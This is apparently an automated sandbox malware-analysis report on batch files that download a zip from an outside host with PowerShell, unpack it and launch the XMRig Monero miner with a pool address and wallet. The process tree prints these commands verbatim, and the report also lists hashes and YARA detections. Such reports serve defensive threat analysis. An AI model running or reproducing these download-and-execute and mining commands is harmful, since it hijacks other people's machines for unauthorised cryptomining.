Overview
overview
10Static
static
1tesy - Copy (10).bat
windows10-2004-x64
10tesy - Copy (11).bat
windows10-2004-x64
10tesy - Copy (12).bat
windows10-2004-x64
10tesy - Copy (13).bat
windows10-2004-x64
10tesy - Copy (14).bat
windows10-2004-x64
10tesy - Copy (2).bat
windows10-2004-x64
10tesy - Copy (3).bat
windows10-2004-x64
10tesy - Copy (4).bat
windows10-2004-x64
10tesy - Copy (5).bat
windows10-2004-x64
10tesy - Copy (6).bat
windows10-2004-x64
10tesy - Copy (7).bat
windows10-2004-x64
10tesy - Copy (8).bat
windows10-2004-x64
10tesy - Copy (9).bat
windows10-2004-x64
10tesy - Copy.bat
windows10-2004-x64
10tesy.bat
windows10-2004-x64
10Analysis
-
max time kernel
1800s -
max time network
1800s -
platform
windows10-2004_x64 -
resource
win10v2004-20231020-en -
resource tags
arch:x64arch:x86image:win10v2004-20231020-enlocale:en-usos:windows10-2004-x64system -
submitted
22-10-2023 12:25
Static task
static1
Behavioral task
behavioral1
Sample
tesy - Copy (10).bat
Resource
win10v2004-20231020-en
Behavioral task
behavioral2
Sample
tesy - Copy (11).bat
Resource
win10v2004-20231020-en
Behavioral task
behavioral3
Sample
tesy - Copy (12).bat
Resource
win10v2004-20231020-en
Behavioral task
behavioral4
Sample
tesy - Copy (13).bat
Resource
win10v2004-20231020-en
Behavioral task
behavioral5
Sample
tesy - Copy (14).bat
Resource
win10v2004-20231020-en
Behavioral task
behavioral6
Sample
tesy - Copy (2).bat
Resource
win10v2004-20231020-en
Behavioral task
behavioral7
Sample
tesy - Copy (3).bat
Resource
win10v2004-20231020-en
Behavioral task
behavioral8
Sample
tesy - Copy (4).bat
Resource
win10v2004-20231020-en
Behavioral task
behavioral9
Sample
tesy - Copy (5).bat
Resource
win10v2004-20231020-en
Behavioral task
behavioral10
Sample
tesy - Copy (6).bat
Resource
win10v2004-20231020-en
Behavioral task
behavioral11
Sample
tesy - Copy (7).bat
Resource
win10v2004-20231020-en
Behavioral task
behavioral12
Sample
tesy - Copy (8).bat
Resource
win10v2004-20231020-en
Behavioral task
behavioral13
Sample
tesy - Copy (9).bat
Resource
win10v2004-20231020-en
Behavioral task
behavioral14
Sample
tesy - Copy.bat
Resource
win10v2004-20231020-en
General
-
Target
tesy - Copy (9).bat
-
Size
702B
-
MD5
65f016a2abe40d2902c7032438a14bd7
-
SHA1
b3537668ca1bb826e5085aee38b3f7ec654d606e
-
SHA256
153b384b64bd371e0236c8497c9706db00cc102f068ea8fd4569d20b3b5a6fd8
-
SHA512
b52486cdc585277de12287b4b2ab17c9e401bfeaee78555fd6d8760d7954b4e361f6e3ec32e4d694ba2cfa69d3d843d0f192539f0c893500b801c05a13b488f7
Malware Config
Extracted
https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip
Signatures
-
XMRig Miner payload 64 IoCs
resource yara_rule behavioral13/files/0x0007000000022e39-46.dat family_xmrig behavioral13/files/0x0007000000022e39-46.dat xmrig behavioral13/memory/984-49-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp xmrig behavioral13/memory/984-52-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp xmrig behavioral13/memory/984-55-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp xmrig behavioral13/memory/984-56-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp xmrig behavioral13/memory/984-57-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp xmrig behavioral13/memory/984-58-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp xmrig behavioral13/memory/984-59-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp xmrig behavioral13/memory/984-60-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp xmrig behavioral13/memory/984-61-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp xmrig behavioral13/memory/984-62-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp xmrig behavioral13/memory/984-63-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp xmrig behavioral13/memory/984-64-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp xmrig behavioral13/memory/984-65-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp xmrig behavioral13/memory/984-66-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp xmrig behavioral13/memory/984-67-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp xmrig behavioral13/memory/984-68-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp xmrig behavioral13/memory/984-69-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp xmrig behavioral13/memory/984-70-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp xmrig behavioral13/memory/984-71-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp xmrig behavioral13/memory/984-72-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp xmrig behavioral13/memory/984-73-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp xmrig behavioral13/memory/984-74-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp xmrig behavioral13/memory/984-75-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp xmrig behavioral13/memory/984-76-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp xmrig behavioral13/memory/984-77-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp xmrig behavioral13/memory/984-78-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp xmrig behavioral13/memory/984-79-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp xmrig behavioral13/memory/984-80-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp xmrig behavioral13/memory/984-81-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp xmrig behavioral13/memory/984-82-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp xmrig behavioral13/memory/984-83-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp xmrig behavioral13/memory/984-84-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp xmrig behavioral13/memory/984-85-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp xmrig behavioral13/memory/984-86-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp xmrig behavioral13/memory/984-87-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp xmrig behavioral13/memory/984-88-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp xmrig behavioral13/memory/984-89-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp xmrig behavioral13/memory/984-90-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp xmrig behavioral13/memory/984-91-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp xmrig behavioral13/memory/984-92-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp xmrig behavioral13/memory/984-93-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp xmrig behavioral13/memory/984-94-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp xmrig behavioral13/memory/984-95-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp xmrig behavioral13/memory/984-96-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp xmrig behavioral13/memory/984-97-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp xmrig behavioral13/memory/984-98-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp xmrig behavioral13/memory/984-99-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp xmrig behavioral13/memory/984-100-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp xmrig behavioral13/memory/984-101-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp xmrig behavioral13/memory/984-102-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp xmrig behavioral13/memory/984-103-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp xmrig behavioral13/memory/984-104-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp xmrig behavioral13/memory/984-105-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp xmrig behavioral13/memory/984-106-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp xmrig behavioral13/memory/984-107-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp xmrig behavioral13/memory/984-108-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp xmrig behavioral13/memory/984-109-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp xmrig behavioral13/memory/984-110-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp xmrig behavioral13/memory/984-111-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp xmrig behavioral13/memory/984-112-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp xmrig behavioral13/memory/984-113-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp xmrig behavioral13/memory/984-114-0x00007FF73DF10000-0x00007FF73EA13000-memory.dmp xmrig -
Blocklisted process makes network request 1 IoCs
flow pid Process 3 4740 powershell.exe -
Executes dropped EXE 1 IoCs
pid Process 984 xmrig.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 4740 powershell.exe 4740 powershell.exe 1772 powershell.exe 1772 powershell.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 676 Process not Found -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 4740 powershell.exe Token: SeDebugPrivilege 1772 powershell.exe Token: SeLockMemoryPrivilege 984 xmrig.exe Token: SeLockMemoryPrivilege 984 xmrig.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 984 xmrig.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 4372 wrote to memory of 4740 4372 cmd.exe 85 PID 4372 wrote to memory of 4740 4372 cmd.exe 85 PID 4372 wrote to memory of 1772 4372 cmd.exe 89 PID 4372 wrote to memory of 1772 4372 cmd.exe 89 PID 4372 wrote to memory of 1116 4372 cmd.exe 90 PID 4372 wrote to memory of 1116 4372 cmd.exe 90 PID 1116 wrote to memory of 984 1116 cmd.exe 92 PID 1116 wrote to memory of 984 1116 cmd.exe 92
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (9).bat"1⤵
- Suspicious use of WriteProcessMemory
PID:4372 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip', 'test.zip')"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4740
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1772
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K start.cmd2⤵
- Suspicious use of WriteProcessMemory
PID:1116 -
C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exexmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ.TRI -p x3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:984
-
-
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2KB
MD52f57fde6b33e89a63cf0dfdd6e60a351
SHA1445bf1b07223a04f8a159581a3d37d630273010f
SHA2563b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
SHA51242857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
-
Filesize
1KB
MD5c20ac38ae3022e305b8752804aadf486
SHA14c144d6cfafb5c37ab4810ff3c1744df81493cdb
SHA25603cba7e903a418a3966af1dc0debfb5fcfb2ac6d372ec48cb1b93c23e0fd1caf
SHA512c9def9e5cd09d19b8b47a3f4c61893da715a6ba4b9933c885386d0425ee4ccc30d75eac1097511619d4e6259a46581f803fb38f78a15339391e4e78b0b6153e0
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
3.2MB
MD53238c0d25d84b6f0bb645bbb29cdbf61
SHA111ae550c8a82c0793862c366b92072ad7e18befe
SHA256b7a3d27640d4a7403c306a61996d604f28c44c2267eb9d60ed770ad40b3b5dfb
SHA512d5c3e51f36b05ed6b66d501936fc771b712929fa9cdcb3e784d64e018ce4f081cead7a80c48504ced2f7b375bdcc94e147be1fc4e566af45ddaeb60389dee556
-
Filesize
170B
MD578657df2e34e338ff135d3dde69177bf
SHA1d5048a4270b7ba599e941d26d61bfa2e8da31fce
SHA2569004d356a2f71e3abd655983967aa597e81a8133069ee8bcef04f6ed0b36ae98
SHA512f05cd30046793f60d8afd61b0a83f53d0c8e2889a03cbace1b199de181257771d257ab47f29effd1084c196eba9454ccdd97715e6f1062c079f4087685bd7004
-
Filesize
7.9MB
MD54813fa6d610e180b097eae0ce636d2aa
SHA11e9cd17ea32af1337dd9a664431c809dd8a64d76
SHA2569ef2e8714e85dcd116b709894b43babb4a0872225ae7363152013b7fd1bc95bc
SHA5125463e61b9583dd7e73fc4c0f14252ce06bb1b24637fdf5c4b96b3452cf486b147c980e365ca6633d89e7cfe245131f528a7ecab2340251cef11cdeb49dac36aa